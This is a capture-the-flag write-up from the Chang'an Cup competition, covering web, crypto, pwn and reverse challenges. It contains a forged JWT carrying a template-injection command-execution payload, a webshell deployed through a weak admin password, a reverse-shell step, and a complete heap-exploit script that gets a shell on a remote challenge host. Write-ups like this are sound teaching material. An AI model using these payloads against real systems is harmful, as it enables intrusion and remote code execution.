长安杯-WriteUp

百家 作者:Chamd5安全团队 2021-09-27 10:57:57

Web

 soeasy

解题思路

监听6666端口反弹shell


 ezpy

解题思路

对token字段解密发现是jwt

jwt 爆破密钥 CTf4r

jwt用户名处模板注入

Payload

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoie3t1cmxfZm9yLl9fZ2xvYmFsc19fLm9zLnBvcGVuKHJlcXVlc3QuYXJncy5jbWQpLnJlYWQoKX19IiwicGFzc3dkIjoiMTIzIiwicm9sZSI6ImFkbWluIiwidWlkIjoiIn0.KWHbwpGOiRZvRZxbdibiqK5C636QHuVnhUHVz_CDYD0


  Old But A Little New

解题思路
后台弱口令admin/admin
将冰蝎shell打包成war部署拿shell


  asuka

解法同Old But A Little New。


Crypto

  easyRSA

解题思路

先获取所有p,q十进制的组合,然后爆破组合根据n的低位判断是否合法,还原p,q

from Crypto.Util.number import *
# from secret import flag

def add(a,b):
    if(a<b):
        a0 = str(b).encode()
        b0 = str(a).encode()
    else:
        a0 = str(a).encode()
        b0 = str(b).encode()
    ans = 0
    # b0 < a0
    for i in range(len(a0)-len(b0)):
        ans = ans*10+a0[i]-48
    for i in range(len(b0)):
        ans = ans*10+(a0[i+len(a0)-len(b0)]+b0[i]+4)%10
    return ans

def mul(a,b):
    if(a<b):
        a0 = str(b).encode()
        b0 = str(a).encode()
    else:
        a0 = str(a).encode()
        b0 = str(b).encode()
    ans = 0
    for i in range(len(b0)):
        ans = ans*10+((a0[i+len(a0)-len(b0)]+2)*(b0[i]+2))%10
    return ans

def collect(m):
    res = []
    while m:
        res.append(m%10)
        m //= 10
    res = res[::-1]
    return res

def solve(a,b):
    x_add_y = (a-4)%10
    x_mul_y = (b+4-2*a)%10
    ans = []
    for x in range(48,58):
        for y in range(48,58):
            if (x+y)%10 == x_add_y and (x*y)%10 == x_mul_y:
                ans.append((x-48,y-48))
    return ans


e = 65537

n = 100457237809578238448997689590363740025639066957321554834356116114019566855447194466985968666777662995007348443263561295712530012665535942780881309520544097928921920784417859632308854225762469971326925931642031846400402355926637518199130760304347996335637140724757568332604740023000379088112644537238901495181
p_add_q = 10399034381787849923326924881454040531711492204619924608227265350044149907274051734345037676383421545973249148286183660679683016947030357640361405556516408
p_mul_q = 6004903250672248020273453078045186428048881010508070095760634049430058892705564009054400328070528434060550830050010084328522605000400260581038846465000861
info1 = (collect(p_add_q))
info2 = (collect(p_mul_q))
guess = [0]
info1 = info1[1:]
cnt = 1
ans = 0
ans_p = [0]
ans_q = [0]
for i in range(len(info1)-1,-1,-1):
    a = info1[i]
    b = info2[i]
    poss = solve(a,b)
    print(poss)
    pp_ans = []
    qq_ans = []
    for index in range(len(ans_p)):

        pp = ans_p[index]
        qq = ans_q[index]
        for x, y in poss:
            print(x,y)
            nans_p = pp+x*(10**(cnt-1))
            nans_q = qq+y*(10**(cnt-1))
            print("cur",nans_p,nans_q)
            if (nans_p * nans_q)%(10**cnt) == n%(10**cnt):
                pp_ans.append(nans_p)
                qq_ans.append(nans_q)
                print("yes!!!",pp_ans,qq_ans)
                print("qq_ans",qq_ans)
                print("pp_ans",pp_ans)
                # break
    if pp_ans:
        ans_p = pp_ans
        ans_q = qq_ans
    print("ans",ans_p,ans_q)

    cnt += 1

from Crypto.Util.number import *
for p in ans_p:
    if isPrime(p):
        print(p)

p = 8307103755174226983699771812499382664784661030503034013965679561410051699975573257899430944515587916063550418050690024796566861042630720583592848475010689
q = n//p
phi = (p-1)*(q-1)
d = inverse(65537,phi)
c = 49042009464540753864186870038605696433949255281829439530955555557471951265762643642510403828448619593655860548966001304965902133517879714352191832895783859451396658166132732818620715968231113019681486494621363269268257297512939412717227009564539512793374347236183475339558666141579267673676878540943373877937

print(long_to_bytes(pow(c,d,n))


Pwn

  baigei

解题思路

from pwn import *
sh=remote('113.201.14.253',21111)
libc=ELF('libc-2.27.so')
context(arch='amd64', os='linux')
context.log_level='debug'


def add(idx,size,con):
    sh.recvuntil('>>')
    sh.sendline('1')
    sh.recvuntil('idx?')
    sh.sendline(str(idx))
    sh.recvuntil('size?')
    sh.sendline(str(size))
    sh.recvuntil('content?')
    sh.send(con)
def delete(idx):
    sh.recvuntil('>>')
    sh.sendline('2')
    sh.recvuntil('idx?')
    sh.sendline(str(idx))
def edit(idx,size,con):
    sh.recvuntil('>>')
    sh.sendline('3')
    sh.recvuntil('idx?')
    sh.sendline(str(idx))
    sh.recvuntil('size?')
    sh.sendline(str(size))
    sh.recvuntil('content?')
    sh.send(con)
def show(idx):
    sh.recvuntil('>>')
    sh.sendline('4')
    sh.recvuntil('idx?')
    sh.sendline(str(idx))
add(0,0x28,'a')
add(1,0x400,'a')
add(2,0x68,'a')
add(3,0x68,'a')
add(4,0x50,'/bin/sh\x00')
sh.recvuntil('>>')
sh.sendline('1')
sh.recvuntil('idx?')
sh.sendline('0')
sh.recvuntil('size?')
sh.sendline('-1')

edit(0,0x10000,p64(0)*5+p64(0x411+0x70*2))
delete(1)
add(1,0x400,'a')
show(2)
libc.address=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-libc.sym['__malloc_hook']-0x10
print hex(libc.address)
delete(3)
add(1,0x90,0x68*'\x00'+p64(0x71)+p64(libc.sym['__free_hook']))
add(2,0x60,'a')
add(2,0x60,p64(libc.sym['system']))
delete(4)
sh.interactive()


Reverse

  snake

解题思路

当到200波时会给flag

猜测这里是吃果子 每吃一个减一

如果这里--v82直接变成v82=0

那么每轮只要吃一个果子就可以进入下一关

直接patch

这样v82就会直接变成0 然后吃200个果子即可


end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接